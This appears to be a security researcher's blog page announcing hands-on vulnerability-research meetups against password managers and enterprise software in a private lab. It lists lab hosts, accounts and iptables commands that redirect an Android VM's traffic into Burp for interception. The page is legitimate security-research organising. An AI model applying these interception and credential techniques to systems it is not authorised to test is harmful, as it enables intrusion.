Where: GeniusDen 3106 Commerce St, Dallas, TX 75226

RSVP on Meetup

Food & Drinks:

There are several great places nearby to grab food.
There will be some free booze (vodka, whiskey, beer) If you want you can bring some more.

Rules:

Must participate. Researching for others counts
If you find a vulnerability it's yours.
If there is a bug bounty you get to choose what to do with the money. Sponsor next event or keep it. Maybe a little of both.
Smoking analog or vape please step outside.
Targets are on 192.168.66.0/24 network stay there :)
Don't be a dick.

Prize's:

Most found CVE's - $50 Gift Card to Amazon
Best vulnerability found - $25 Gift Card to Amazon
Community MVP - $25 Gift Card to Amazon
Miss Congeniality - Hugs and Free 0DayAllDay t-shirt

Hacking:

This quarters theme is Password Managers and their associated Android applications.

Keeper Security (Business) BugCrowd
1Password BugCrowd
Thycotic Secret Server
ManageEngine Password Manager Pro
ZOHO Vault BugBounty

Details of targets

Domain Server and General Info
- HOST
  - Domain Controller Windows Server 2016
  - IP: 192.168.66.100
  - Domain: blackmarble.sh
  - Admin: administrator
  - Pass: ][Password][
  - Other users:
    - fox.zero
    - fox.one
    - ...
    - fox.ten
  - Global Read-Only Share: //WIN-7LPVLIICTR2/Data
    - cacert.pem This file is for importing into Burp for Android.
    - apks folder has all the .apk install files along with the decompiled source code.
    - Keeper folder has the install files for keeper along with it's agents.
    - ManageEngine PMP folder has the Windows agent and the installer.
    - gray folder has a .net decompiler program and injector
    - Thycotic has the agents and installer.
  - Global Read/Write Share: //WIN-7LPVLIICTR2/Share
    - Feel free to put whatever here.
- Software
  - Thycotic Secret Server
    - URL: https://192.168.66.100/SecretServer
    - USER: admint
    - PASS: ][Password][
  - Thycotic Privliage Manager
    - URL: https://192.168.66.100/TMS/PrivilegeManager
    - USER: admint
    - PASS: ][Password][
  - ManageEngine Password Manager Pro
    - URL: https://192.168.66.100:7272/PassTrixMain.cc
    - USER: admin
    - PASS: admin
  - Keeper
    - Connector (bridge) is setup on 192.168.66.100
    - URL: https://keepersecurity.com/en_US/console/#login
    - USER: init6@init6.me
    - PASS: Will be disclosed at event.
  - ZOHO Vault
    - Connector (bridge) is setup on 192.168.66.100
    - URL: https://vault.zoho.com/online/main
    - USER: init6@init6.me
    - PASS: Will be disclosed at event.
  - 1Password (Online Only)
Android
- HOST
  - http://www.android-x86.org
  - IP: 192.168.11.11
  - VNC Ports: 6000 - 6017
  - To connect I suggest using Remmina.
  - Google User: blackmarble@gmail.com
  - Google Pass: Will be disclosed at event if you need it.
- Software
  - Keeper
  - Thycotic Secret Server
  - Thycotic PAM
  - Password Manager - Zoho Vault
  - PMP (Couldn't get to work)
  - LastPass
  - Norton IDSafe
  - Google Play store works, If you want to attack something else thats okay.
- Burp Configuration
  - Import the cacert.pem into your Burp. (Make sure you regenerate after you leave)
  - In the Android VM, Hit ALT+F1 to access terminal.
  - su to root
  - Configure iptables to redirect traffic to your Burp.
  - iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination BURP_ADDRESS:BURP_PORT
  - iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination BURP_ADDRESS:BURP_PORT
  - Restart the VM if you want to flush out existing iptable rules.
  - If you want to use your own cert check out my blog entry here
- ADB Configuration
  - Android Documentation can be found here
  - In the Android VM, Hit ALT+F1 to access terminal.
  - Get the IP Address: ifconfig
  - adb connect ip_address

0x00 0-DAY ALL DAY

INIT_6 — Tue, 06 Mar 2018 02:25:00 GMT

Hacking, Barbecue, & Drinking...

When: ~~March 31st, 2018~~ April 7th, 2018
Time: 11am to 8pm+
Where: INIT_6's place. DM for address.

Food:

I'll be providing Hamburgers, chips, dips, etc
BYOB - Bring Your Own Booze

Rules:

Must participate. Researching for others counts
If you find a vulnerability it's yours.
If there is a bug bounty you get to choose what to do with the money. Sponsor next event or keep it. Maybe a little of both.
A quick vape inside is fine, Long sessions step outside.
Smoking analog step outside.
Targets are on 192.168.66.0/24 network stay there :)
Don't be a dick.

Prize's:

Most found CVE's - $50 Gift Card to Amazon
Best vulnerability found - $50 Gift Card to Amazon
Community MVP - $25 Gift Card to Amazon
Miss Congeniality - $25 Gift Card to Amazon

Hacking:

ManageEngine AD360
ManageEngine Password Manager Pro
Atlassian Jira
tryGhost
Cylance CylancePROTECT
Cylance CylanceOPTICS
MFA details provided at event.
These are all VM's I can reset them if needed.

Details of targets

Domain Server and General Info HOST Domain Controller Windows Server 2016 IP: 192.168.66.5 Domain: blackmarble.sh Admin: administrator Pass: ][Password][ Other users: fox.zero fox.one ... fox.ten Has a fun MFA thing to hack on ;) Global Share: \WIN-8CJ4M00PQSL\Data has install files and some notes. gray folder has some .net decompiler programs cfr_0_122.jar is used to decompile java Feel free to put whatever here.
ManageEngine AD360 HOST Windows 2016 Server IP: 192.168.66.6 Hostname: MANAGEENGINE-01 User: administrator Pass: ][Password][ Share for AD360, ADFree Tools, ADManager Plus, ADSelfService Plus: \MANAGEENGINE-01\ManageEngine Share for ADUdit Plus: \MANAGEENGINE-01\ManageEngine2 Each program has a folder called output what has the decompiled java source code. Software AD360 http://192.168.66.6:8082 AD360 Manager Plus http://192.168.66.6:8080 ADAudit Plus http://192.168.66.6:8081 ADSelfService Plus http://192.168.66.6:8888
ManageEngine Password Manager Pro HOST Ubuntu Server 16.04.4 LTS IP: 192.168.66.25 Hostname: pmp User: fox Pass: ][Password][ Software PMP http://192.168.66.25:7272 Location: /home/fox/ManageEngine/PMP output folder has the decompiled source code. /home/fox/ManageEngine/PMP/output /home/fox/ManageEngine/PMP/lib/output What I have done so far https://init6.me/manageengine-password-pro/
Jira HOST CentOS 7 IP: 192.168.66.10 User: root Pass: ][Password][ Software http://192.168.66.25:8080 User: fox Pass: ][Password][ Data locations /var/atlassian/application-data/jira /opt/atlassian/jira output has the decompiled java source code Settings -> Application page has a spot to Upload an application which is where I want to start.
Cylance HOST Windows 10 Pro IP: 192.168.66.23 Hostname: Cylance-01.blackmarble.sh User: Administrator Pass: ][Password][

BlackMarble

Breaking & Entering with Zipato SmartHubs

Researcher Contact Information

Executive Summary

Approach

Product Description

Findings Overview

Detailed Technical Description

Embedded SSH Private key for ROOT (CVE-2019-9560)

Pass-the-Hash Local API Authentication (CVE-2019-9561)

Pass-the-Hash Remote API Authentication (CVE-2019-9562)

Disclosure Timeline

Special Thanks

Guardzilla IoT Video Camera Hard-Coded Credentials (CVE-2018-5560)

Researcher Contact Information

Executive Summary

Product Description

Findings Overview

Strategic Recommendations

Detailed Technical Description

Embedded S3 Credentials Unlimited Access Policy

OpenSSL 1.0.1g Multiple Vulnerabilities

Informational Findings

Disclosure Timeline

Special Thanks

0x02 0DAYALLDAY RESEARCH EVENT - Hardware Hacking

Hacking, Drinking, & Hacking...

Food & Drinks:

Rules:

Prize's:

Hacking:

Details of targets

Getting started

Tools & Equipment

Software

ZOHO - A Story Of Where Not To Store Keys

EDIT:

Finial notes:

0x01 0DAY ALL DAY RESEARCH EVENT

Hacking, Drinking, & Hacking...

Food & Drinks:

Rules:

Prize's:

Hacking:

Details of targets

Domain Server and General Info

Android

0x00 0-DAY ALL DAY

Hacking, Barbecue, & Drinking...

Food:

Rules:

Prize's:

Hacking:

Details of targets